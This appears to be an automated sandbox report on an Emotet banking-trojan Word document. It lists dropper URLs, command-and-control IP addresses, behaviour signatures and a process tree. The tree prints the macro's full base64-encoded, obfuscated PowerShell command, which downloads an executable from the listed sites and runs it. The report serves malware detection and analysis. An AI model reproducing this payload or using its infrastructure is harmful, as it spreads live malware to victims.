Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    90s
  • max time network
    92s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    30/10/2020, 06:34

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_e4c4aa874feb371209199ddd6b159ed4a677b94568dfe6b09351807263dbef9b_2020-10-30__032735972265._doc.doc
  • Size 241KB
  • Sample201030-dc28h2d5rs
  • SHA256 e4c4aa874feb371209199ddd6b159ed4a677b94568dfe6b09351807263dbef9b
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://foryoulady.com/wp-admin/H3Tu5s/
  • exe.dropper

    https://www.flem-cartoons.fr/wp-includes/Gogzje/
  • exe.dropper

    https://blog.19850120.xyz/wp-admin/VOfoZiU/
  • exe.dropper

    http://capellaevents.com/val-images/mD2zBip/
  • exe.dropper

    https://amirthafoundation.com/wp-admin/0KetV/
  • exe.dropper

    https://busyafnutrition.com.au/wp-admin/A83yfME/
  • exe.dropper

    http://sploong.net/cgi-bin/JsbuL5/
  • exe.dropper

    https://sygnalizujemy.pl/wp-admin/yj/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 102.182.145.130:80

  • 173.173.254.105:80

  • 64.207.182.168:8080

  • 51.89.199.141:8080

  • 167.114.153.111:8080

  • 173.63.222.65:80

  • 218.147.193.146:80

  • 59.125.219.109:443

  • 172.104.97.173:8080

  • 190.162.215.233:80

  • 68.115.186.26:80

  • 78.188.106.53:443

  • 190.240.194.77:443

  • 24.133.106.23:80

  • 80.227.52.78:80

  • 79.137.83.50:443

  • 120.150.218.241:443

  • 62.171.142.179:8080

  • 194.4.58.192:7080

  • 62.30.7.67:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e4c4aa874feb371209199ddd6b159ed4a677b94568dfe6b09351807263dbef9b_2020-10-30__032735972265._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1352
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
      POwersheLL -ENCOD cwBlAFQAIAAoACcAQQBoAFUAJwArACcAOABWACcAKQAgACgAWwBUAHkAUABlAF0AKAAiAHsANgB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMAB9AHsANQB9AHsAMQB9ACIAIAAtAGYAIAAnAC4ARABJAFIAZQBjAFQAbwAnACwAJwB5ACcALAAnAFkAcwB0ACcALAAnAC4ASQBPACcALAAnAEUATQAnACwAJwBSACcALAAnAHMAJwApACAAIAApACAAOwAgACAAJAA0AHoAZwA3ACAAIAA9AFsAVAB5AFAARQBdACgAIgB7ADUAfQB7ADAAfQB7ADQAfQB7ADkAfQB7ADYAfQB7ADcAfQB7ADMAfQB7ADEAfQB7ADIAfQB7ADgAfQAiACAALQBGACcALgBOAGUAJwAsACcAbwBpAG4AdAAnACwAJwBtAEEAJwAsACcAcAAnACwAJwB0ACcALAAnAFMAeQBTAFQAZQBNACcALAAnAHIAdgBJAEMAJwAsACcARQAnACwAJwBOAEEARwBFAFIAJwAsACcALgBTAGUAJwApACAAOwAgACQAVwA3AGoAbQBjAHIAMAA9ACgAJwBOACcAKwAoACcAdABjAGwAJwArACcAbQAnACkAKwAnAHAAeQAnACkAOwAkAE0AZgBkADMAdAB1AGcAPQAkAEgAdgBmADcAaQA1AG4AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFcAdQBvAGgAMgA1ADIAOwAkAEUAYgA5AHkAawA2AGIAPQAoACgAJwBSAHUAdABpACcAKwAnAGkAJwApACsAJwB0AG0AJwApADsAIAAgACgAZwBlAHQALQB2AEEAcgBpAGEAQgBsAGUAIAAoACcAQQBoAHUAJwArACcAOAB2ACcAKQAgACAAKQAuAHYAQQBMAHUAZQA6ADoAIgBDAHIAYABlAGEAYABUAEUAZABJAFIAZQBjAFQAYABvAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAEUAdgAnACsAKAAnAGoAJwArACcAWgB4AGsAJwArACcAYgAzAGwAJwApACsAJwA1ACcAKwAoACcARQB2AGoAJwArACcATwBnACcAKQArACgAJwBsACcAKwAnAG8ANwB4ADAARQAnACsAJwB2AGoAJwApACkALQBSAGUAcABMAGEAQwBFACgAJwBFACcAKwAnAHYAagAnACkALABbAEMASABBAFIAXQA5ADIAKQApADsAJABOAHIAZABrAHIAYwA0AD0AKAAnAE4AJwArACgAJwA5AHEAcwAnACsAJwBjADMAJwApACsAJwBfACcAKQA7ACAAJAA0AHoAZwA3ADoAOgAiAHMAYABlAGMAdQBSAEkAdABZAFAAcgBgAE8AVABPAGMAYABPAEwAIgAgAD0AIAAoACcAVAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACkAOwAkAFUAaQBlAGsAcwBhAHYAPQAoACcATwB4ACcAKwAoACcAaAB5AGwAZQAnACsAJwBkACcAKQApADsAJABLAHEAegBlAHQAcwA3ACAAPQAgACgAKAAnAEYAawAnACsAJwB5ACcAKQArACgAJwBrADEAJwArACcAcQBuACcAKQApADsAJABHADgAZQBtAG8AdABxAD0AKAAoACcAUAAnACsAJwA0AHEAXwBvACcAKQArACcAYwB4ACcAKQA7ACQAWAB5ADIANgA2AGYAMQA9ACgAKAAnAFcAZABsADQAJwArACcAZAAnACkAKwAnAHoAXwAnACkAOwAkAFUAMgBlAHUAcQBwAGgAPQAkAEgATwBNAEUAKwAoACgAJwBTAFIAJwArACgAJwBrACcAKwAnAFoAeABrACcAKQArACgAJwBiADMAbAA1ACcAKwAnAFMAUgBrAE8AJwArACcAZwBsACcAKwAnAG8AJwApACsAJwA3ACcAKwAoACcAeAAwAFMAJwArACcAUgBrACcAKQApAC4AIgByAGAARQBgAHAATABBAEMARQAiACgAKABbAGMASABBAFIAXQA4ADMAKwBbAGMASABBAFIAXQA4ADIAKwBbAGMASABBAFIAXQAxADAANwApACwAWwBTAHQAUgBpAG4AZwBdAFsAYwBIAEEAUgBdADkAMgApACkAKwAkAEsAcQB6AGUAdABzADcAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABXAGEAYgB2ADcAaQBiAD0AKAAoACcARgAnACsAJwBsAGMAcwB6AGQAJwApACsAJwAwACcAKQA7ACQASgBwADAAYwA0ADgANgA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBDAEwASQBlAE4AVAA7ACQAQwAyAG8AMQA2AHUAMwA9ACgAKAAoACgAJwBoAHQAdAAnACsAJwBwAHMAOgBdACcAKwAnAFsAIAAxACkAIAAnACkAKQArACgAKAAnAGoAJwArACcAagBrAGcAUwAgAFsAXQAgAFsAXQB3AF0AWwAgACcAKwAnADEAJwArACcAKQAgAGoAagAnACkAKQArACgAKAAnAGsAZwAnACsAJwBTACAAWwBdACAAWwBdACcAKwAnAHcAZgAnACsAJwBvAHIAJwArACcAeQBvAHUAJwArACcAbABhAGQAeQAuAGMAbwBtACcAKwAnAF0AWwAgADEAKQAgAGoAagBrAGcAUwAgACcAKwAnAFsAXQAgAFsAXQAnACsAJwB3ACcAKwAnAHcAJwArACcAcAAtAGEAZABtAGkAbgBdAFsAIAAxACkAJwArACcAIABqAGoAawBnAFMAIABbAF0AIABbAF0AJwArACcAdwAnACsAJwBIADMAVAB1ACcAKwAnADUAcwAnACsAJwBdAFsAIAAxACcAKwAnACkAJwArACcAIABqAGoAJwArACcAawBnAFMAIABbAF0AIAAnACsAJwBbAF0AdwAnACsAJwBAACcAKwAnAGgAdAAnACsAJwB0ACcAKQApACsAJwBwACcAKwAoACgAJwBzADoAXQAnACsAJwBbACcAKwAnACAAJwArACcAMQApACAAagAnACsAJwBqAGsAZwBTACcAKwAnACAAWwBdACAAJwArACcAWwBdAHcAXQBbACAAJwApACkAKwAoACgAJwAxACkAJwArACcAIABqAGoAJwArACcAawBnAFMAJwArACcAIABbAF0AIABbACcAKwAnAF0AdwB3AHcAdwAnACkAKQArACgAKAAnAC4AZgAnACsAJwBsAGUAbQAnACsAJwAtAGMAJwArACcAYQAnACsAJwByAHQAbwBvAG4AcwAuAGYAcgBdAFsAIAAxACkAJwArACcAIABqAGoAawBnAFMAJwArACcAIABbACcAKwAnAF0AIABbACcAKQApACsAKAAoACcAXQB3ACcAKwAnAHcAJwArACcAcAAnACsAJwAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwBdAFsAIAAxACkAIABqACcAKwAnAGoAawBnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AdwBHAG8AZwB6AGoAZQBdAFsAIAAxACcAKwAnACkAIAAnACsAJwBqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwBAACcAKwAnAGgAJwArACcAdAB0ACcAKwAnAHAAJwArACcAcwA6AF0AJwArACcAWwAgADEAJwArACcAKQAgAGoAagBrAGcAUwAgACcAKwAnAFsAXQAgAFsAXQAnACsAJwB3AF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAgAFsAXQAgAFsAJwArACcAXQB3ACcAKwAnAGIAbAAnACsAJwBvACcAKwAnAGcALgAxADkAOAA1ADAAMQAnACsAJwAyADAALgB4ACcAKQApACsAKAAoACcAeQB6AF0AWwAnACsAJwAgADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAUwAgAFsAXQAgAFsAJwArACcAXQAnACsAJwB3AHcAJwApACkAKwAoACgAJwBwACcAKwAnAC0AYQBkAG0AaQBuAF0AJwArACcAWwAgACcAKwAnADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAnACsAJwAgAFsAXQAgAFsAXQB3AFYATwAnACkAKQArACgAKAAnAGYAbwBaAGkAJwArACcAVQBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIAAnACsAJwBbAF0AJwArACcAIABbAF0AdwAnACsAJwBAACcAKwAnAGgAdAB0AHAAOgBdACcAKwAnAFsAJwArACcAIAAxACkAJwArACcAIAAnACsAJwBqAGoAawBnAFMAJwArACcAIAAnACsAJwBbAF0AIABbACcAKwAnAF0AdwAnACsAJwBdAFsAIAAxACkAIABqAGoAJwArACcAawAnACkAKQArACgAKAAnAGcAUwAgAFsAXQAgAFsAXQAnACsAJwB3AGMAYQBwACcAKwAnAGUAbABsAGEAZQB2AGUAbgAnACsAJwB0AHMALgBjAG8AbQBdAFsAIAAxACkAIABqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIAAnACsAJwBbAF0AJwArACcAdwB2AGEAbAAtAGkAbQBhAGcAJwArACcAZQAnACkAKQArACgAKAAnAHMAJwArACcAXQBbACcAKwAnACAAMQApACAAJwApACkAKwAoACgAJwBqAGoAawAnACsAJwBnACcAKwAnAFMAJwArACcAIAAnACsAJwBbAF0AIABbAF0AdwBtACcAKwAnAEQAMgB6ACcAKwAnAEIAaQBwACcAKwAnAF0AWwAgADEAKQAgAGoAJwArACcAagBrAGcAUwAnACsAJwAgAFsAXQAgACcAKwAnAFsAXQAnACsAJwB3AEAAaAB0AHQAcABzACcAKwAnADoAXQBbACAAMQApACAAagBqACcAKwAnAGsAZwAnACsAJwBTACcAKwAnACAAWwAnACsAJwBdACAAWwBdAHcAJwArACcAXQBbACAAMQApACAAJwArACcAagBqAGsAZwBTACAAJwArACcAWwBdACAAJwArACcAWwBdACcAKwAnAHcAYQBtAGkAcgB0ACcAKwAnAGgAYQBmACcAKwAnAG8AdQBuAGQAYQB0AGkAbwBuAC4AYwBvAG0AXQBbACAAMQAnACsAJwApACcAKwAnACAAagBqAGsAZwBTACAAWwAnACkAKQArACgAJwBdACAAWwAnACsAJwBdAHcAdwBwAC0AYQAnACsAJwBkAG0AJwApACsAKAAoACcAaQBuAF0AWwAgACcAKwAnADEAKQAgAGoAagBrAGcAJwArACcAUwAgACcAKwAnAFsAXQAgAFsAJwArACcAXQB3ADAASwAnACsAJwBlAHQAVgAnACkAKQArACgAKAAnAF0AWwAnACsAJwAgADEAJwArACcAKQAgACcAKQApACsAKAAoACcAagBqACcAKwAnAGsAZwBTACcAKwAnACAAJwArACcAWwBdACAAWwBdAHcAQABoAHQAdABwAHMAOgBdAFsAJwArACcAIAAxACkAIAAnACsAJwBqAGoAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AJwArACcAIABbAF0AdwAnACsAJwBdAFsAIAAxACkAIAAnACsAJwBqAGoAJwArACcAawBnAFMAIABbAF0AIAAnACkAKQArACgAKAAnAFsAJwArACcAXQB3AGIAdQBzAHkAYQAnACsAJwBmAG4AdQB0AHIAaQB0AGkAbwAnACsAJwBuAC4AYwAnACsAJwBvAG0ALgBhACcAKwAnAHUAJwArACcAXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACAAWwBdACAAWwAnACsAJwBdAHcAdwBwAC0AYQBkACcAKwAnAG0AJwArACcAaQBuAF0AJwArACcAWwAnACsAJwAgADEAJwArACcAKQAnACsAJwAgAGoAJwArACcAagBrACcAKwAnAGcAUwAgACcAKwAnAFsAXQAgAFsAXQB3AEEAOAAnACsAJwAzACcAKwAnAHkAZgBNAEUAXQBbACAAMQAnACsAJwApACAAagAnACsAJwBqAGsAZwAnACsAJwBTACAAJwArACcAWwBdACAAJwArACcAWwBdACcAKwAnAHcAQABoAHQAJwArACcAdABwACcAKQApACsAKAAoACcAOgBdAFsAIAAxACkAIABqACcAKwAnAGoAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AIABbAF0AdwAnACkAKQArACgAKAAnAF0AWwAgADEAKQAgAGoAagAnACsAJwBrACcAKwAnAGcAJwArACcAUwAgAFsAXQAnACsAJwAgACcAKQApACsAKAAnAFsAXQB3ACcAKwAnAHMAJwApACsAKAAnAHAAJwArACcAbABvAG8AbgBnAC4AJwApACsAKAAnAG4AJwArACcAZQB0AF0AWwAgACcAKQArACgAKAAnADEAKQAnACsAJwAgACcAKwAnAGoAJwArACcAagBrAGcAJwArACcAUwAnACsAJwAgAFsAJwArACcAXQAgAFsAXQAnACsAJwB3AGMAZwBpAC0AYgAnACsAJwBpAG4AXQBbACAAMQApACcAKwAnACAAagBqAGsAZwBTACAAWwAnACsAJwBdACAAWwBdAHcAJwArACcASgBzACcAKwAnAGIAJwArACcAdQAnACsAJwBMACcAKwAnADUAXQBbACAAMQApACAAagBqACcAKwAnAGsAZwBTACAAJwArACcAWwAnACkAKQArACcAXQAgACcAKwAoACgAJwBbAF0AdwBAAGgAdAB0AHAAcwA6ACcAKwAnAF0AJwArACcAWwAgADEAKQAgAGoAagAnACsAJwBrAGcAJwArACcAUwAgAFsAJwArACcAXQAnACsAJwAgAFsAXQB3AF0AWwAgADEAKQAgAGoAJwArACcAagAnACkAKQArACgAKAAnAGsAZwBTACAAWwBdACAAJwArACcAWwBdAHcAcwB5AGcAbgBhAGwAaQB6AHUAagBlACcAKwAnAG0AeQAuAHAAbABdACcAKwAnAFsAIAAnACsAJwAxACkAIABqAGoAawBnACcAKwAnAFMAIABbAF0AJwArACcAIABbAF0AJwArACcAdwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpAG4AXQBbACcAKwAnACAAMQApACAAJwArACcAagBqAGsAZwBTACAAJwApACkAKwAoACcAWwBdACcAKwAnACAAWwBdACcAKQArACgAKAAnAHcAeQAnACsAJwBqAF0AWwAnACsAJwAgADEAKQAgACcAKQApACsAKAAnAGoAagAnACsAJwBrAGcAUwAgAFsAJwApACsAKAAnAF0AIABbACcAKwAnAF0AdwAnACkAKQApAC4AIgByAEUAYABwAEwAYABBAGMAZQAiACgAKAAoACcAXQBbACcAKwAnACAAMQAnACsAKAAoACcAKQAnACsAJwAgAGoAJwApACkAKwAoACcAagBrACcAKwAnAGcAJwArACcAUwAgAFsAJwApACsAJwBdACAAJwArACgAJwBbACcAKwAnAF0AdwAnACkAKQApACwAKABbAGEAcgByAGEAeQBdACgAJwAvACcAKQAsACgAJwB4ACcAKwAnAHcAZQAnACkAKQBbADAAXQApAC4AIgBTAGAAcABMAGkAdAAiACgAJABSAGcAbwBjADEAdABqACAAKwAgACQATQBmAGQAMwB0AHUAZwAgACsAIAAkAEUAMgBzAGwAaAB4ADQAKQA7ACQAVgBkAGUAbwBhAGIAeAA9ACgAJwBQADEAJwArACcAeAB1ACcAKwAoACcAYwAnACsAJwBpADEAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAE8AMQBhADcAYgBqAHAAIABpAG4AIAAkAEMAMgBvADEANgB1ADMAKQB7AHQAcgB5AHsAJABKAHAAMABjADQAOAA2AC4AIgBEAG8AdwBOAEwAbwBBAGAARABmAGAASQBsAEUAIgAoACQATwAxAGEANwBiAGoAcAAsACAAJABVADIAZQB1AHEAcABoACkAOwAkAEQAZwBlADkAbAA4AHcAPQAoACgAJwBUACcAKwAnADkAcABmADEAJwApACsAJwAyADUAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFUAMgBlAHUAcQBwAGgAKQAuACIAbABlAG4AYABnAHQAaAAiACAALQBnAGUAIAA0ADEAMgA5ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAKAAnAHcAJwArACcAaQBuADMAJwApACsAKAAnADIAXwAnACsAJwBQAHIAJwApACsAJwBvACcAKwAoACcAYwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBjAFIARQBgAEEAdABlACIAKAAkAFUAMgBlAHUAcQBwAGgAKQA7ACQARQB6AHYAMAB1AGQAeAA9ACgAKAAnAFMAJwArACcAcQBhADgAMQAnACkAKwAnAGIAMAAnACkAOwBiAHIAZQBhAGsAOwAkAFQAZwBiAHMANwB2ADgAPQAoACgAJwBVACcAKwAnAHgAZAAnACkAKwAoACcAeAAnACsAJwByADkANwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBiADcAdQBmADQAdQA9ACgAJwBOACcAKwAoACcAbwAnACsAJwB2AHIAdwBxACcAKQArACcAYgAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1440
    • C:\Users\Admin\Zxkb3l5\Oglo7x0\Fkyk1qn.exe
      C:\Users\Admin\Zxkb3l5\Oglo7x0\Fkyk1qn.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1060
      • C:\Windows\SysWOW64\photowiz\xwizards.exe
        "C:\Windows\SysWOW64\photowiz\xwizards.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1988

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/1060-14-0x0000000002360000-0x00000000023BA000-memory.dmp
          Download

          memory/1060-13-0x0000000002300000-0x000000000235B000-memory.dmp
          Download

          memory/1440-8-0x0000000002400000-0x0000000002401000-memory.dmp
          Download

          memory/1440-9-0x000000001B560000-0x000000001B561000-memory.dmp
          Download

          memory/1440-10-0x000000001C490000-0x000000001C491000-memory.dmp
          Download

          memory/1440-4-0x000007FEF5D40000-0x000007FEF672C000-memory.dmp
          Download

          memory/1440-7-0x0000000002000000-0x0000000002001000-memory.dmp
          Download

          memory/1440-5-0x0000000001F20000-0x0000000001F21000-memory.dmp
          Download

          memory/1440-6-0x000000001AAF0000-0x000000001AAF1000-memory.dmp
          Download

          memory/1664-20-0x000007FEF7FE0000-0x000007FEF825A000-memory.dmp
          Download

          memory/1824-2-0x00000000007FE000-0x0000000000800000-memory.dmp
          Download

          memory/1824-0-0x00000000007FD000-0x00000000007FE000-memory.dmp
          Download

          memory/1824-1-0x00000000064C0000-0x00000000064C4000-memory.dmp
          Download

          memory/1988-19-0x0000000001F10000-0x0000000001F6A000-memory.dmp
          Download

          memory/1988-18-0x0000000000480000-0x00000000004DB000-memory.dmp
          Download